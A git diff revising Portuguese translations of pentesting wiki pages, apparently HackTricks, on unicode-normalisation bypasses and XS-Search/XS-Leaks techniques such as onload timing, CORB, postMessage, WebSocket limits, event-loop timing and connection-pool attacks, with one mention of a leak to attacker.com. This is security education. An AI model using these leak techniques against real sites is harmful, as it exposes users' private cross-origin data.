+Quando o backend está **verificando a entrada do usuário com uma regex**, pode ser possível que a **entrada** esteja sendo **normalizada** para a **regex**, mas **não** para onde está sendo **usada**. Por exemplo, em um Open Redirect ou SSRF, a regex pode estar **normalizando a URL enviada**, mas depois **acessando-a como está**.
 
-A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permite **gerar variações da entrada** para fuzzar o backend. Para mais informações, consulte o **github** e este [**post**](https://0xacb.com/2022/11/21/recollapse/).
+A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) permite **gerar variações da entrada** para fuzzar o backend. Para mais informações, consulte o **github** e este [**post**](https://0xacb.com/2022/11/21/recollapse/).
 
 ## Unicode Overflow
 
-A partir deste [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), o valor máximo de um byte é 255, se o servidor for vulnerável, um overflow pode ser criado para produzir um caractere ASCII específico e inesperado. Por exemplo, os seguintes caracteres serão convertidos em `A`:
+Deste [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), o valor máximo de um byte é 255. Se o servidor for vulnerável, um overflow pode ser criado para produzir um caractere ASCII específico e inesperado. Por exemplo, os seguintes caracteres serão convertidos em `A`:
 
 - 0x4e41
 - 0x4f41

src/pentesting-web/xs-search.md

@@ -8,8 +8,8 @@ XS-Search é um método usado para **extrair informações de origem cruzada** a
 
 Os principais componentes envolvidos neste ataque incluem:
 
-- **Web Vulnerável**: O site alvo do qual as informações devem ser extraídas.
-- **Web do Atacante**: O site malicioso criado pelo atacante, que a vítima visita, hospedando o exploit.
+- **Web Vulnerável**: O site alvo do qual se pretende extrair informações.
+- **Web do Atacante**: O site malicioso criado pelo atacante, que a vítima visita, hospedando a exploração.
 - **Método de Inclusão**: A técnica empregada para incorporar a Web Vulnerável na Web do Atacante (por exemplo, window.open, iframe, fetch, tag HTML com href, etc.).
 - **Técnica de Vazamento**: Técnicas usadas para discernir diferenças no estado da Web Vulnerável com base nas informações coletadas através do método de inclusão.
 - **Estados**: As duas condições potenciais da Web Vulnerável, que o atacante visa distinguir.
@@ -24,22 +24,22 @@ Vários aspectos podem ser analisados para diferenciar os estados da Web Vulner
 - **Redirecionamentos**: Detectar navegações para diferentes páginas, não apenas redirecionamentos HTTP, mas também aqueles acionados por JavaScript ou HTML.
 - **Conteúdo da Página**: Observar **variações no corpo da resposta HTTP** ou em sub-recursos da página, como o **número de frames incorporados** ou disparidades de tamanho em imagens.
 - **Cabeçalho HTTP**: Notar a presença ou possivelmente o valor de um **cabeçalho de resposta HTTP específico**, incluindo cabeçalhos como X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
-- **Tempo**: Notar disparidades de tempo consistentes entre os dois estados.
+- **Tempo**: Notar discrepâncias de tempo consistentes entre os dois estados.
 
 ### Métodos de Inclusão
 
-- **Elementos HTML**: HTML oferece vários elementos para **inclusão de recursos de origem cruzada**, como folhas de estilo, imagens ou scripts, forçando o navegador a solicitar um recurso não-HTML. Uma compilação de potenciais elementos HTML para esse propósito pode ser encontrada em [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
+- **Elementos HTML**: HTML oferece vários elementos para **inclusão de recursos de origem cruzada**, como folhas de estilo, imagens ou scripts, forçando o navegador a solicitar um recurso não-HTML. Uma compilação de elementos HTML potenciais para esse propósito pode ser encontrada em [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
 - **Frames**: Elementos como **iframe**, **object** e **embed** podem incorporar recursos HTML diretamente na página do atacante. Se a página **não tiver proteção contra framing**, o JavaScript pode acessar o objeto window do recurso emoldurado através da propriedade contentWindow.
-- **Pop-ups**: O método **`window.open`** abre um recurso em uma nova aba ou janela, fornecendo um **manipulador de janela** para o JavaScript interagir com métodos e propriedades seguindo o SOP. Pop-ups, frequentemente usados em autenticação única, contornam as restrições de framing e cookies de um recurso alvo. No entanto, navegadores modernos restringem a criação de pop-ups a certas ações do usuário.
+- **Pop-ups**: O método **`window.open`** abre um recurso em uma nova aba ou janela, fornecendo um **handle de janela** para o JavaScript interagir com métodos e propriedades seguindo o SOP. Pop-ups, frequentemente usados em autenticação única, contornam as restrições de framing e cookies de um recurso alvo. No entanto, navegadores modernos restringem a criação de pop-ups a certas ações do usuário.
 - **Requisições JavaScript**: O JavaScript permite requisições diretas a recursos alvo usando **XMLHttpRequests** ou a **Fetch API**. Esses métodos oferecem controle preciso sobre a requisição, como optar por seguir redirecionamentos HTTP.
 
 ### Técnicas de Vazamento
 
-- **Manipulador de Evento**: Uma técnica clássica de vazamento em XS-Leaks, onde manipuladores de eventos como **onload** e **onerror** fornecem insights sobre o sucesso ou falha do carregamento de recursos.
+- **Manipulador de Eventos**: Uma técnica clássica de vazamento em XS-Leaks, onde manipuladores de eventos como **onload** e **onerror** fornecem insights sobre o sucesso ou falha do carregamento de recursos.
 - **Mensagens de Erro**: Exceções JavaScript ou páginas de erro especiais podem fornecer informações de vazamento, seja diretamente da mensagem de erro ou diferenciando entre sua presença e ausência.
 - **Limites Globais**: Limitações físicas de um navegador, como capacidade de memória ou outros limites impostos pelo navegador, podem sinalizar quando um limite é alcançado, servindo como uma técnica de vazamento.
 - **Estado Global**: Interações detectáveis com os **estados globais** dos navegadores (por exemplo, a interface History) podem ser exploradas. Por exemplo, o **número de entradas** no histórico de um navegador pode oferecer pistas sobre páginas de origem cruzada.
-- **API de Performance**: Esta API fornece **detalhes de desempenho da página atual**, incluindo o tempo de rede para o documento e recursos carregados, permitindo inferências sobre recursos solicitados.
+- **API de Performance**: Esta API fornece **detalhes de desempenho da página atual**, incluindo o tempo de rede para o documento e recursos carregados, permitindo inferências sobre os recursos solicitados.
 - **Atributos Legíveis**: Alguns atributos HTML são **legíveis de origem cruzada** e podem ser usados como uma técnica de vazamento. Por exemplo, a propriedade `window.frame.length` permite que o JavaScript conte os frames incluídos em uma página da web de origem cruzada.
 
 ## Ferramenta e Artigo XSinator
@@ -59,7 +59,7 @@ Algumas das técnicas a seguir vão usar tempo como parte do processo para detec
 Há um número considerável de APIs que os atacantes podem abusar para criar relógios implícitos: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animações CSS, e outros.\
 Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
 
-## Técnicas de Manipulador de Evento
+## Técnicas de Manipulador de Eventos
 
 ### Onload/Onerror
 
@@ -73,7 +73,7 @@ Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks
 xs-search/cookie-bomb-+-onerror-xs-leak.md
 {{#endref}}
 
-O exemplo de código tenta **carregar objetos de scripts de JS**, mas **outras tags** como objetos, folhas de estilo, imagens, áudios também poderiam ser usadas. Além disso, também é possível injetar a **tag diretamente** e declarar os eventos `onload` e `onerror` dentro da tag (em vez de injetá-los a partir do JS).
+O exemplo de código tenta **carregar objetos de scripts do JS**, mas **outras tags** como objetos, folhas de estilo, imagens, áudios também poderiam ser usadas. Além disso, também é possível injetar a **tag diretamente** e declarar os eventos `onload` e `onerror` dentro da tag (em vez de injetá-los do JS).
 
 Há também uma versão sem script deste ataque:
 ```html
@@ -85,17 +85,17 @@ Neste caso, se `example.com/404` não for encontrado, `attacker.com/?error` ser
 
 ### Onload Timing
 
-- **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
-- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
-- **Summary:** A [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** pode ser usada para medir quanto tempo leva para realizar uma solicitação. No entanto, outros relógios podem ser usados, como a [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) que pode identificar tarefas que duram mais de 50ms.
-- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) outro exemplo em:
+- **Métodos de Inclusão**: Elementos HTML
+- **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
+- **Resumo:** A [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** pode ser usada para medir quanto tempo leva para realizar uma solicitação. No entanto, outros relógios podem ser usados, como a [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) que pode identificar tarefas que estão em execução por mais de 50ms.
+- **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) outro exemplo em:
 
 {{#ref}}
 xs-search/performance.now-example.md
 {{#endref}}
 
-#### Onload Timing + Forced Heavy Task
+#### Onload Timing + Tarefa Pesada Forçada
 
 Esta técnica é semelhante à anterior, mas o **atacante** também **forçará** alguma ação para levar um **tempo relevante** quando a **resposta for positiva ou negativa** e medirá esse tempo.
 
@@ -105,21 +105,21 @@ xs-search/performance.now-+-force-heavy-task.md
 
 ### unload/beforeunload Timing
 
-- **Inclusion Methods**: Frames
-- **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
-- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
-- **Summary:** O [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) pode ser usado para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
-- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
+- **Métodos de Inclusão**: Frames
+- **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
+- **Resumo:** O relógio [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) pode ser usado para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
+- **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
 
 O tempo necessário para buscar um recurso pode ser medido utilizando os eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) e [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). O evento **`beforeunload`** é disparado quando o navegador está prestes a navegar para uma nova página, enquanto o evento **`unload`** ocorre quando a navegação está realmente acontecendo. A diferença de tempo entre esses dois eventos pode ser calculada para determinar a **duração que o navegador passou buscando o recurso**.
 
 ### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
 
-- **Inclusion Methods**: Frames
-- **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
-- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
-- **Summary:** A [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API pode ser usada para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
-- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
+- **Métodos de Inclusão**: Frames
+- **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
+- **Resumo:** A [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API pode ser usada para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
+- **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
 
 Foi observado que na ausência de [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), o tempo necessário para uma página e seus subrecursos serem carregados pela rede pode ser medido por um atacante. Essa medição é tipicamente possível porque o manipulador `onload` de um iframe é acionado apenas após a conclusão do carregamento de recursos e da execução de JavaScript. Para contornar a variabilidade introduzida pela execução de scripts, um atacante pode empregar o atributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) dentro do `<iframe>`. A inclusão deste atributo restringe várias funcionalidades, notavelmente a execução de JavaScript, facilitando assim uma medição que é predominantemente influenciada pelo desempenho da rede.
 ```javascript
@@ -129,14 +129,14 @@ Foi observado que na ausência de [Framing Protections](https://xsleaks.dev/docs
 ### #ID + error + onload
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Conteúdo da Página
+- **Detectable Difference**: Page Content
 - **More info**:
 - **Summary**: Se você conseguir fazer a página gerar um erro quando o conteúdo correto for acessado e fazê-la carregar corretamente quando qualquer conteúdo for acessado, então você pode criar um loop para extrair todas as informações sem medir o tempo.
 - **Code Example**:
 
 Suponha que você possa **inserir** a **página** que contém o **conteúdo secreto** **dentro de um Iframe**.
 
-Você pode **fazer a vítima procurar** pelo arquivo que contém "_**flag**_" usando um **Iframe** (exploiting um CSRF, por exemplo). Dentro do Iframe, você sabe que o _**evento onload**_ será **executado sempre pelo menos uma vez**. Então, você pode **mudar** a **URL** do **iframe** mudando apenas o **conteúdo** do **hash** dentro da URL.
+Você pode **fazer a vítima procurar** pelo arquivo que contém "_**flag**_" usando um **Iframe** (exploiting um CSRF, por exemplo). Dentro do Iframe, você sabe que o _**evento onload**_ será **executado sempre pelo menos uma vez**. Então, você pode **mudar** a **URL** do **iframe**, mas mudando apenas o **conteúdo** do **hash** dentro da URL.
 
 Por exemplo:
 
@@ -147,12 +147,12 @@ Se a primeira URL foi **carregada com sucesso**, então, ao **mudar** a parte do
 
 Então, você pode **distinguir entre** uma página **carregada corretamente** ou uma página que teve um **erro** ao ser acessada.
 
-### Execução de Javascript
+### Javascript Execution
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Conteúdo da Página
+- **Detectable Difference**: Page Content
 - **More info**:
-- **Summary:** Se a **página** está **retornando** o conteúdo **sensível**, **ou** um **conteúdo** que pode ser **controlado** pelo usuário. O usuário pode definir **código JS válido no caso negativo**, um **load** a cada tentativa dentro de **`<script>`** tags, então em **casos negativos** o **código** dos atacantes é **executado**, e em **casos afirmativos** **nada** será executado.
+- **Summary:** Se a **página** está **retornando** o conteúdo **sensível**, **ou** um **conteúdo** que pode ser **controlado** pelo usuário. O usuário poderia definir **código JS válido no caso negativo**, um **load** em cada tentativa dentro de **`<script>`** tags, então, em **casos negativos**, o **código** do atacante é **executado**, e em **casos afirmativos**, **nada** será executado.
 - **Code Example:**
 
 {{#ref}}
@@ -162,64 +162,64 @@ xs-search/javascript-execution-xs-leak.md
 ### CORB - Onerror
 
 - **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Código de Status & Cabeçalhos
+- **Detectable Difference**: Status Code & Headers
 - **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
-- **Summary**: **Cross-Origin Read Blocking (CORB)** é uma medida de segurança que impede que páginas da web carreguem certos recursos sensíveis de origem cruzada para proteger contra ataques como **Spectre**. No entanto, os atacantes podem explorar seu comportamento protetor. Quando uma resposta sujeita ao **CORB** retorna um `Content-Type` _**protegido pelo CORB**_ com `nosniff` e um código de status `2xx`, **CORB** remove o corpo e os cabeçalhos da resposta. Atacantes que observam isso podem inferir a combinação do **código de status** (indicando sucesso ou erro) e o `Content-Type` (denotando se está protegido pelo **CORB**), levando a uma possível vazamento de informações.
-- **Code Example:**
+- **Summary**: **Cross-Origin Read Blocking (CORB)** é uma medida de segurança que impede que páginas da web carreguem certos recursos sensíveis de origem cruzada para proteger contra ataques como **Spectre**. No entanto, os atacantes podem explorar seu comportamento protetor. Quando uma resposta sujeita ao **CORB** retorna um `Content-Type` _**protegido pelo CORB**_ com `nosniff` e um código de status `2xx`, **CORB** remove o corpo e os cabeçalhos da resposta. Os atacantes que observam isso podem inferir a combinação do **código de status** (indicando sucesso ou erro) e o `Content-Type` (denotando se está protegido pelo **CORB**), levando a uma possível vazamento de informações.
+- **Code Example**:
 
 Verifique o link de mais informações para mais informações sobre o ataque.
 
 ### onblur
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Conteúdo da Página
+- **Detectable Difference**: Page Content
 - **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
-- **Summary**: Vazar dados sensíveis do atributo id ou nome.
+- **Summary**: Vazar dados sensíveis do atributo id ou name.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
 
-É possível **carregar uma página** dentro de um **iframe** e usar o **`#id_value`** para fazer a página **focar no elemento** do iframe com o id indicado, então se um sinal **`onblur`** for acionado, o elemento ID existe.\
+É possível **carregar uma página** dentro de um **iframe** e usar o **`#id_value`** para fazer a página **focar no elemento** do iframe indicado, então, se um sinal **`onblur`** for acionado, o elemento ID existe.\
 Você pode realizar o mesmo ataque com tags **`portal`**.
 
 ### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
 
 - **Inclusion Methods**: Frames, Pop-ups
-- **Detectable Difference**: Uso da API
+- **Detectable Difference**: API Usage
 - **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
 - **Summary**: Coletar informações sensíveis de um postMessage ou usar a presença de postMessages como um oráculo para saber o status do usuário na página
-- **Code Example**: `Qualquer código ouvindo todos os postMessages.`
+- **Code Example**: `Any code listening for all postMessages.`
 
 Aplicações frequentemente utilizam [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para se comunicar entre diferentes origens. No entanto, esse método pode inadvertidamente expor **informações sensíveis** se o parâmetro `targetOrigin` não for especificado corretamente, permitindo que qualquer janela receba as mensagens. Além disso, o simples ato de receber uma mensagem pode atuar como um **oráculo**; por exemplo, certas mensagens podem ser enviadas apenas para usuários que estão logados. Portanto, a presença ou ausência dessas mensagens pode revelar informações sobre o estado ou identidade do usuário, como se ele está autenticado ou não.
 
-## Técnicas de Limites Globais
+## Global Limits Techniques
 
 ### WebSocket API
 
 - **Inclusion Methods**: Frames, Pop-ups
-- **Detectable Difference**: Uso da API
+- **Detectable Difference**: API Usage
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
-- **Summary**: Esgotar o limite de conexão do WebSocket vaza o número de conexões WebSocket de uma página de origem cruzada.
+- **Summary**: Exaurir o limite de conexão WebSocket vaza o número de conexões WebSocket de uma página de origem cruzada.
 - **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
 
-É possível identificar se, e quantas, **conexões WebSocket uma página alvo utiliza**. Isso permite que um atacante detecte estados de aplicação e vaze informações ligadas ao número de conexões WebSocket.
+É possível identificar se, e quantas, **conexões WebSocket uma página alvo usa**. Isso permite que um atacante detecte estados de aplicação e vaze informações ligadas ao número de conexões WebSocket.
 
-Se uma **origem** usar a **quantidade máxima de objetos de conexão WebSocket**, independentemente do estado de suas conexões, a criação de **novos objetos resultará em exceções de JavaScript**. Para executar esse ataque, o site atacante abre o site alvo em um pop-up ou iframe e então, após o site alvo ter sido carregado, tenta criar o maior número possível de conexões WebSocket. O **número de exceções lançadas** é o **número de conexões WebSocket usadas pela janela do site alvo**.
+Se uma **origem** usar a **quantidade máxima de objetos de conexão WebSocket**, independentemente do estado de suas conexões, a criação de **novos objetos resultará em exceções JavaScript**. Para executar esse ataque, o site atacante abre o site alvo em um pop-up ou iframe e então, após o site alvo ter sido carregado, tenta criar o máximo de conexões WebSocket possível. O **número de exceções lançadas** é o **número de conexões WebSocket usadas pela janela do site alvo**.
 
 ### Payment API
 
 - **Inclusion Methods**: Frames, Pop-ups
-- **Detectable Difference**: Uso da API
+- **Detectable Difference**: API Usage
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
 - **Summary**: Detectar Pedido de Pagamento porque apenas um pode estar ativo ao mesmo tempo.
 - **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
 
 Esse XS-Leak permite que um atacante **detecte quando uma página de origem cruzada inicia um pedido de pagamento**.
 
-Porque **apenas um pedido de pagamento pode estar ativo** ao mesmo tempo, se o site alvo estiver usando a API de Pedido de Pagamento, quaisquer novas tentativas de usar essa API falharão e causarão uma **exceção de JavaScript**. O atacante pode explorar isso **tentando periodicamente mostrar a interface da API de Pagamento**. Se uma tentativa causar uma exceção, o site alvo está atualmente usando-a. O atacante pode ocultar essas tentativas periódicas fechando imediatamente a interface após a criação.
+Como **apenas um pedido de pagamento pode estar ativo** ao mesmo tempo, se o site alvo estiver usando a API de Pedido de Pagamento, quaisquer novas tentativas de usar essa API falharão e causarão uma **exceção JavaScript**. O atacante pode explorar isso **tentando periodicamente mostrar a interface do usuário da API de Pagamento**. Se uma tentativa causar uma exceção, o site alvo está atualmente usando-a. O atacante pode ocultar essas tentativas periódicas fechando imediatamente a interface após a criação.
 
-### Temporização do Loop de Eventos <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
+### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
 
 - **Inclusion Methods**:
-- **Detectable Difference**: Temporização (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
 - **Summary:** Medir o tempo de execução de uma web abusando do loop de eventos JS de thread única.
 - **Code Example**:
@@ -228,28 +228,28 @@ Porque **apenas um pedido de pagamento pode estar ativo** ao mesmo tempo, se o s
 xs-search/event-loop-blocking-+-lazy-images.md
 {{#endref}}
 
-JavaScript opera em um [modelo de concorrência de loop de eventos de thread única](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), significando que **só pode executar uma tarefa por vez**. Essa característica pode ser explorada para medir **quanto tempo o código de uma origem diferente leva para executar**. Um atacante pode medir o tempo de execução de seu próprio código no loop de eventos ao despachar continuamente eventos com propriedades fixas. Esses eventos serão processados quando o pool de eventos estiver vazio. Se outras origens também estiverem despachando eventos para o mesmo pool, um **atacante pode inferir o tempo que leva para esses eventos externos serem executados observando atrasos na execução de suas próprias tarefas**. Esse método de monitoramento do loop de eventos para atrasos pode revelar o tempo de execução do código de diferentes origens, potencialmente expondo informações sensíveis.
+JavaScript opera em um [modelo de concorrência de loop de eventos de thread única](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), significando que **ele só pode executar uma tarefa por vez**. Essa característica pode ser explorada para avaliar **quanto tempo o código de uma origem diferente leva para executar**. Um atacante pode medir o tempo de execução de seu próprio código no loop de eventos ao despachar continuamente eventos com propriedades fixas. Esses eventos serão processados quando o pool de eventos estiver vazio. Se outras origens também estiverem despachando eventos para o mesmo pool, um **atacante pode inferir o tempo que leva para esses eventos externos serem executados observando atrasos na execução de suas próprias tarefas**. Esse método de monitoramento do loop de eventos para atrasos pode revelar o tempo de execução do código de diferentes origens, potencialmente expondo informações sensíveis.
 
 > [!WARNING]
-> Em uma temporização de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
+> Em um tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
 
-### Loop de Eventos Ocupado <a href="#busy-event-loop" id="busy-event-loop"></a>
+### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
 
 - **Inclusion Methods**:
-- **Detectable Difference**: Temporização (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
-- **Summary:** Um método para medir o tempo de execução de uma operação web envolve bloquear intencionalmente o loop de eventos de uma thread e então medir **quanto tempo leva para o loop de eventos ficar disponível novamente**. Ao inserir uma operação de bloqueio (como um cálculo longo ou uma chamada de API síncrona) no loop de eventos e monitorar o tempo que leva para o código subsequente começar a ser executado, pode-se inferir a duração das tarefas que estavam sendo executadas no loop de eventos durante o período de bloqueio. Essa técnica aproveita a natureza de thread única do loop de eventos do JavaScript, onde as tarefas são executadas sequencialmente, e pode fornecer insights sobre o desempenho ou comportamento de outras operações que compartilham a mesma thread.
+- **Summary:** Um método para medir o tempo de execução de uma operação web envolve bloquear intencionalmente o loop de eventos de uma thread e então medir **quanto tempo leva para o loop de eventos se tornar disponível novamente**. Ao inserir uma operação de bloqueio (como um cálculo longo ou uma chamada de API síncrona) no loop de eventos e monitorar o tempo que leva para o código subsequente começar a ser executado, pode-se inferir a duração das tarefas que estavam sendo executadas no loop de eventos durante o período de bloqueio. Essa técnica aproveita a natureza de thread única do loop de eventos do JavaScript, onde as tarefas são executadas sequencialmente, e pode fornecer insights sobre o desempenho ou comportamento de outras operações que compartilham a mesma thread.
 - **Code Example**:
 
-Uma vantagem significativa da técnica de medir o tempo de execução bloqueando o loop de eventos é seu potencial para contornar a **Isolação de Site**. **Isolação de Site** é um recurso de segurança que separa diferentes sites em processos separados, visando impedir que sites maliciosos acessem diretamente dados sensíveis de outros sites. No entanto, ao influenciar a temporização de execução de outra origem através do loop de eventos compartilhado, um atacante pode indiretamente extrair informações sobre as atividades daquela origem. Esse método não depende de acesso direto aos dados da outra origem, mas sim observa o impacto das atividades daquela origem no loop de eventos compartilhado, assim evitando as barreiras protetoras estabelecidas pela **Isolação de Site**.
+Uma vantagem significativa da técnica de medir o tempo de execução bloqueando o loop de eventos é seu potencial para contornar a **Isolação de Site**. **Isolação de Site** é um recurso de segurança que separa diferentes sites em processos separados, visando impedir que sites maliciosos acessem diretamente dados sensíveis de outros sites. No entanto, ao influenciar o tempo de execução de outra origem através do loop de eventos compartilhado, um atacante pode indiretamente extrair informações sobre as atividades daquela origem. Esse método não depende de acesso direto aos dados da outra origem, mas sim observa o impacto das atividades daquela origem no loop de eventos compartilhado, assim evitando as barreiras protetoras estabelecidas pela **Isolação de Site**.
 
 > [!WARNING]
-> Em uma temporização de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
+> Em um tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
 
-### Pool de Conexões
+### Connection Pool
 
-- **Inclusion Methods**: Requisições JavaScript
-- **Detectable Difference**: Temporização (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Inclusion Methods**: JavaScript Requests
+- **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 - **Summary:** Um atacante poderia bloquear todos os sockets, exceto 1, carregar a web alvo e ao mesmo tempo carregar outra página, o tempo até a última página começar a carregar é o tempo que a página alvo levou para carregar.
 - **Code Example**:
@@ -261,124 +261,124 @@ xs-search/connection-pool-example.md
 Os navegadores utilizam sockets para comunicação com o servidor, mas devido aos recursos limitados do sistema operacional e hardware, **os navegadores são obrigados a impor um limite** no número de sockets concorrentes. Os atacantes podem explorar essa limitação através dos seguintes passos:
 
 1. Determinar o limite de sockets do navegador, por exemplo, 256 sockets globais.
-2. Ocupando 255 sockets por um longo período iniciando 255 requisições para vários hosts, projetadas para manter as conexões abertas sem completar.
-3. Usar o 256º socket para enviar uma requisição para a página alvo.
